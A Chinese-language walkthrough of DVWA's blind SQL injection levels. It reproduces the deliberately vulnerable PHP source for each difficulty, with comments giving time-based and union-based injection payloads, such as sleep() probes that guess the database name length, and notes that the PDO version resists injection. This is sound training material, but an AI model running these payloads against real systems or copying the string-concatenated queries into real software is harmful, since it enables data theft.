DVWA SQL Injection blind 过关秘籍

 1if(isset( $_GET[ 'Submit' ])) {
 2    // Get input
 3    $id = $_GET[ 'id' ];
 4
 5    // Check database
 6    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
 7    // 没有一点点防备
 8    // 尝试构造: (由于看不到结果集，所以脱裤子的语句是无效)
 9    // SELECT first_name, last_name FROM users WHERE user_id = '0' union select 1,2 # ';
10    // User ID exists in the database. <存在注入漏洞>
11    // SELECT first_name, last_name FROM users WHERE user_id = '0' union select 1,if(length( database())=4,sleep(4),2) # ';
12
13    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
14
15    // Get results
16    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
17    if( $num > 0 ) {
18        // Feedback for end user
19        echo '<pre>User ID exists in the database.</pre>';
20    }
21    else {
22        // User wasn't found, so the page wasn't!
23        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
24
25        // Feedback for end user
26        echo '<pre>User ID is MISSING from the database.</pre>';
27    }
28
29    mysql_close();
30}

 1if( isset( $_POST[ 'Submit' ]  ) ) {
 2    // Get input
 3    $id = $_POST[ 'id' ];
 4    $id = mysql_real_escape_string( $id );
 5
 6    // Check database
 7    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
 8    // 尝试构造:
 9    // SELECT first_name, last_name FROM users WHERE user_id = 0 union select 1,2;
10    // 以上判断存在注入漏洞
11    // SELECT first_name, last_name FROM users WHERE user_id = 0 union select 1,if(length(database()) > 4, sleep(3), 2)
12
13    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
14
15    // Get results
16    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
17    if( $num > 0 ) {
18        // Feedback for end user
19        echo '<pre>User ID exists in the database.</pre>';
20    }
21    else {
22        // Feedback for end user
23        echo '<pre>User ID is MISSING from the database.</pre>';
24    }
25
26    //mysql_close();
27}

 1if( isset( $_SESSION['id'])){
 2    // Get input
 3    $id = $_SESSION[ 'id' ];
 4
 5    // Check database
 6    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
 7    // 没有新花样，只限制输出条目是无法拦住我们的
 8    // 尝试构造:
 9    // SELECT first_name, last_name FROM users WHERE user_id = '0' union select 1,if(length(database()) = 4, sleep(3), 2) # LIMIT 1;
10    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
11
12    // Get results
13    $num = mysql_numrows( $result );
14    $i   = 0;
15    while( $i < $num ) {
16        // Get values
17        $first = mysql_result( $result, $i, "first_name" );
18        $last  = mysql_result( $result, $i, "last_name" );
19
20        // Feedback for end user
21        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
22
23        // Increase loop count
24        $i++;
25    }
26
27    mysql_close();
28}

 1if( isset( $_GET[ 'Submit' ] ) ) {
 2    // Check Anti-CSRF token
 3    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 4
 5    // Get input
 6    $id = $_GET[ 'id' ];
 7
 8    // Was a number entered?
 9    if(is_numeric( $id )) {
10        // Check the database
11        // PDO 无法注入
12        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
13        $data->bindParam( ':id', $id, PDO::PARAM_INT );
14        $data->execute();
15
16        // Get results
17        if( $data->rowCount() == 1 ) {
18            // Feedback for end user
19            echo '<pre>User ID exists in the database.</pre>';
20        }
21        else {
22            // User wasn't found, so the page wasn't!
23            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
24
25            // Feedback for end user
26            echo '<pre>User ID is MISSING from the database.</pre>';
27        }
28    }
29}
30
31// Generate Anti-CSRF token
32generateSessionToken();